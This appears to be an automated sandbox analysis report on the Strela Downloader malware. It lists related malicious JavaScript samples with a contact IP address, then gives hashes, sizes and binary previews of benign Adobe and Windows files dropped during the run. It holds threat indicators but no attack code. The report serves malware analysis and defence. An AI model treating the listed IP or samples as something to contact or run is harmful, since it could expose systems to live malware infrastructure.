	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073589538758974
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrw:KooCEYhgYEL0In
MD5:	36E646D4259E951413531F2AA8514CB9
SHA1:	B174E7E95D6FCCFF95A1811DC9EBE25ED05A703C
SHA-256:	655C8C5C095BAA1A8314848D028309EC108F8440ADE88DBC32E480A8A26DA614
SHA-512:	D3BFA31276F32CE9722298298B34E00468260A3050D3DF35C2CAC9A450E1308271ABAE24F7778010AB7C7A68A39E5A21DB34EAC3B3F5B46BF0C3720DD405EA32
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdaf24478, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221198445292148
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	6BBA083E34BB323D5B8450E4E6DE81B4
SHA1:	CDC495C239CCD78E2AA3720A2C98FB4716F2C9A0
SHA-256:	6EA389FABA249CE5FE06D8AD07F6031E274C68AAD42DBD32267E584652FC60E4
SHA-512:	138F44090AEFBA7C6932BCC911680A061054F094E438106D1C178943CFC80C2699C93574A86D8A63855F2832EA94E4E1674AA9B4FD0BDEEEAEDF7732FAFB67F9
Malicious:	false
Preview:	..Dx... .......A.......X\...;...{......................0.!..........{A..6...}y.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................c ...6...}...................#...6...}y..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0769343570421763
Encrypted:	false
SSDEEP:	3:Ij/EYeBVkSuvCjn13a/zzYY/AllcVO/lnlZMxZNQl:IozB5ua53qzjAOewk
MD5:	C3CA064746590B453B723334A80DDE6A
SHA1:	17DFEED4FD6E8141D68C3B8D93E489871F3F1338
SHA-256:	570DC766B1D0C52451C25D895F5C4A361A3B8C2F211A5E088112721914BE0A50
SHA-512:	7CD422028B5C6E2D30470538BB4BAE9B962D5F0DBF659970201060EA568D4FD3E1ED413AEC1D3F3823158FD1EFB9B5840E8A3257186755356F419F03EE7BE74E
Malicious:	false
Preview:	.`......................................;...{...6...}y......{A..............{A......{A..........{A].................#...6...}y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.173863503477691
Encrypted:	false
SSDEEP:	6:iO4qX5tuTAQ+q2Pwkn2nKuAl9OmbnIFUtSqX5voAgZmwsqX5voAQVkwOwkn2nKui:7MTAVvYfHAahFUtloAg/LoAI5JfHAaSJ
MD5:	4D9A3728269F7991E2C441E17AE7C393
SHA1:	5E3E5AE1AA6628EFD24325740C183C07F1D1378D
SHA-256:	0660D76C7FE4D8EE16127FABFEDADFBF900322F3542FA181D347034A48CA3D53
SHA-512:	883424823630DF88E2C3040F2E8DE37B49BF101E06A148842D8C064FA1DE54819F0830502D3A78F53C00F62A300E065C8A59FE8409023DB718414CB72AE2426A
Malicious:	false
Preview:	2025/01/10-22:54:18.400 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:54:18.402 1fb8 Recovering log #3.2025/01/10-22:54:18.402 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.173863503477691
Encrypted:	false
SSDEEP:	6:iO4qX5tuTAQ+q2Pwkn2nKuAl9OmbnIFUtSqX5voAgZmwsqX5voAQVkwOwkn2nKui:7MTAVvYfHAahFUtloAg/LoAI5JfHAaSJ
MD5:	4D9A3728269F7991E2C441E17AE7C393
SHA1:	5E3E5AE1AA6628EFD24325740C183C07F1D1378D
SHA-256:	0660D76C7FE4D8EE16127FABFEDADFBF900322F3542FA181D347034A48CA3D53
SHA-512:	883424823630DF88E2C3040F2E8DE37B49BF101E06A148842D8C064FA1DE54819F0830502D3A78F53C00F62A300E065C8A59FE8409023DB718414CB72AE2426A
Malicious:	false
Preview:	2025/01/10-22:54:18.400 1fb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:54:18.402 1fb8 Recovering log #3.2025/01/10-22:54:18.402 1fb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.152611069453563
Encrypted:	false
SSDEEP:	6:iO4qX5Ac+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqX51ZmwsqX5ZVkwOwkn2nKuAl9OU:7Yc+vYfHAa8uFUtn/dV5JfHAa8RJ
MD5:	0F42940F233FCE28B1D38C1C7E3FB329
SHA1:	5DD8B7482E02298C2E00C736EFBA586BBDC15ADA
SHA-256:	A04C8D79BCECF3ECC218C2F85EC3AAEFEF8CBE3C714E6DB7E6D25EE261863858
SHA-512:	32380EDE098C7F6F06ACC4D0AE538F8EC5382FFAA9CAB81C06E9D6BDDFB0B5B7EC969F8D2DBE0C1E8DA5AFB005D7C32E667CDB50EBEC324FB9D1AC59CA7C7BDC
Malicious:	false
Preview:	2025/01/10-22:54:18.501 14dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:54:18.503 14dc Recovering log #3.2025/01/10-22:54:18.503 14dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.152611069453563
Encrypted:	false
SSDEEP:	6:iO4qX5Ac+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqX51ZmwsqX5ZVkwOwkn2nKuAl9OU:7Yc+vYfHAa8uFUtn/dV5JfHAa8RJ
MD5:	0F42940F233FCE28B1D38C1C7E3FB329
SHA1:	5DD8B7482E02298C2E00C736EFBA586BBDC15ADA
SHA-256:	A04C8D79BCECF3ECC218C2F85EC3AAEFEF8CBE3C714E6DB7E6D25EE261863858
SHA-512:	32380EDE098C7F6F06ACC4D0AE538F8EC5382FFAA9CAB81C06E9D6BDDFB0B5B7EC969F8D2DBE0C1E8DA5AFB005D7C32E667CDB50EBEC324FB9D1AC59CA7C7BDC
Malicious:	false
Preview:	2025/01/10-22:54:18.501 14dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:54:18.503 14dc Recovering log #3.2025/01/10-22:54:18.503 14dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972348101139995
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgHYhsBdOg2HQpgcaq3QYiubInP7E4T3y:Y2sRdshH7dMHs3QYhbG7nby
MD5:	CA7A5E753EF01D1ED281F8E9D0AD105B
SHA1:	ED26CB533F067079FD1DC6E3C7BB552AB81ED317
SHA-256:	6A45B930FDE92BAA49599C54EC90A5A322B483976C71FEF11F09DA729D7A177D
SHA-512:	A827D335F8E825F12BEBC7A165B54E531E8522E890E59005B64CBD838B2CDF362356321D4B677E95EC545F418DCCE1093EE4626A6EF35540D6C7097A8E823867
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127670789514","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":154689},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eb0df5ca-50fc-4cee-ae6e-5772e116ed02.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972348101139995
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgHYhsBdOg2HQpgcaq3QYiubInP7E4T3y:Y2sRdshH7dMHs3QYhbG7nby
MD5:	CA7A5E753EF01D1ED281F8E9D0AD105B
SHA1:	ED26CB533F067079FD1DC6E3C7BB552AB81ED317
SHA-256:	6A45B930FDE92BAA49599C54EC90A5A322B483976C71FEF11F09DA729D7A177D
SHA-512:	A827D335F8E825F12BEBC7A165B54E531E8522E890E59005B64CBD838B2CDF362356321D4B677E95EC545F418DCCE1093EE4626A6EF35540D6C7097A8E823867
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127670789514","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":154689},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.2620915660027885
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7Mnmtd4:etJCV4FiN/jTN/2r8Mta02fEhgO73gog
MD5:	B5BDC04A857F928EF3470F0F721D990F
SHA1:	82E50F57B10C753D9E2C42D5C450FE15633E7F63
SHA-256:	4E3B27A2B036DAAB943D33E162802DB1E36FA3A962BF87A8ED86AC1A12787C9F
SHA-512:	70E3FAE982F50308DDBBDCFFC21B7AAA380ED043832DF0D9D5E3C90632B0686233E163497D04D39F59CFEFC4B821CD6EA8D06B7166CDB916FB178FB4B564DC65
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.190384765270684
Encrypted:	false
SSDEEP:	6:iO4qXHSN+q2Pwkn2nKuAl9OmbzNMxIFUtSqXJFVZZmwsqXFNVkwOwkn2nKuAl9Ob:7oN+vYfHAa8jFUt97Z/JV5JfHAa84J
MD5:	D0EB08C8E02298F75277160F7AC6D8F8
SHA1:	CD38F25485DD76DA2776741CFB9C586E356BD502
SHA-256:	11EC7AEFAD64F0F58DCACD0A643889A5190310B2FA80AAD69BA71451574CE981
SHA-512:	4A8A14167B14A72FB4557C00BD3C36CE2EB220169070835252A14508BAEF87799E3E458625F3C9E178F96F3561B865E4AEF65DC624CCE93F8AE22ADCBA07792D
Malicious:	false
Preview:	2025/01/10-22:54:19.127 14dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:54:19.137 14dc Recovering log #3.2025/01/10-22:54:19.160 14dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.190384765270684
Encrypted:	false
SSDEEP:	6:iO4qXHSN+q2Pwkn2nKuAl9OmbzNMxIFUtSqXJFVZZmwsqXFNVkwOwkn2nKuAl9Ob:7oN+vYfHAa8jFUt97Z/JV5JfHAa84J
MD5:	D0EB08C8E02298F75277160F7AC6D8F8
SHA1:	CD38F25485DD76DA2776741CFB9C586E356BD502
SHA-256:	11EC7AEFAD64F0F58DCACD0A643889A5190310B2FA80AAD69BA71451574CE981
SHA-512:	4A8A14167B14A72FB4557C00BD3C36CE2EB220169070835252A14508BAEF87799E3E458625F3C9E178F96F3561B865E4AEF65DC624CCE93F8AE22ADCBA07792D
Malicious:	false
Preview:	2025/01/10-22:54:19.127 14dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:54:19.137 14dc Recovering log #3.2025/01/10-22:54:19.160 14dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44498042780495
Encrypted:	false
SSDEEP:	384:Sexci5tkiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:lTs3OazzU89UTTgUL
MD5:	C9FFE6AB43F636371F90E1B178E49BE5
SHA1:	519AAE5F838F43A9A8DD74E6FA042D5603E8AF89
SHA-256:	4320DEE3D2ACDB13F9E75FD61EDED37BABED429C6773E26F5BC9FB91BBBB1E0D
SHA-512:	DA28D173D455AAFE4309C14C939DFF08ACDE3F07F3812B7FFEB7908BAA46F53336AC5F876A1EB2A5E15498BF8B69966360CAB68A76A193F21BCAD427F8E42142
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.214474426081194
Encrypted:	false
SSDEEP:	24:7+t29znuwKRqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9q:7M8nCRqvmFTIF3XmHjBoGGR+jMz+LhA
MD5:	309C6697A4A71A5037F9388D5E6EBB0B
SHA1:	C4A0FBB0FF67588E0A6107CD41001EE68D9250F0
SHA-256:	E003EA5A94D3F4F30E01EDB959ABEC0382D1FF4908825EBE0170C75160984994
SHA-512:	4084E82A43D3E758D37ACA50478D2BAA5C5D14E03D98F3E6FDF691CE19EA06483009E54D92AC8D6AA201C7E75F17D4B530F09BD312E248628DB04048969D0162
Malicious:	false
Preview:	.... .c......8..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklK3b6/tfllXlE/HT8kqBhlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKT3m/eT8r7NMa8RdWBwRd
MD5:	D4246E7FCD58B2A59BE2E3F1D846A031
SHA1:	25087FECFF40DCEFC0CD622C3E7235B29839FD06
SHA-256:	FA40694FD71164D01940157DDAD0D2C2E00949D5F63A8DBD999C5F67862EC06C
SHA-512:	39B266B2C1C115C73DE36C30170B274871F69BFCB423D953CA7D6358444A8B8B14154BA5A4B85478B9D1AB238BDBED3F3CAD19FBF18493B5A287211ECD3B0D00
Malicious:	false
Preview:	p...... ........9....c..(....................................................... ..........W.....\|..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7928

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
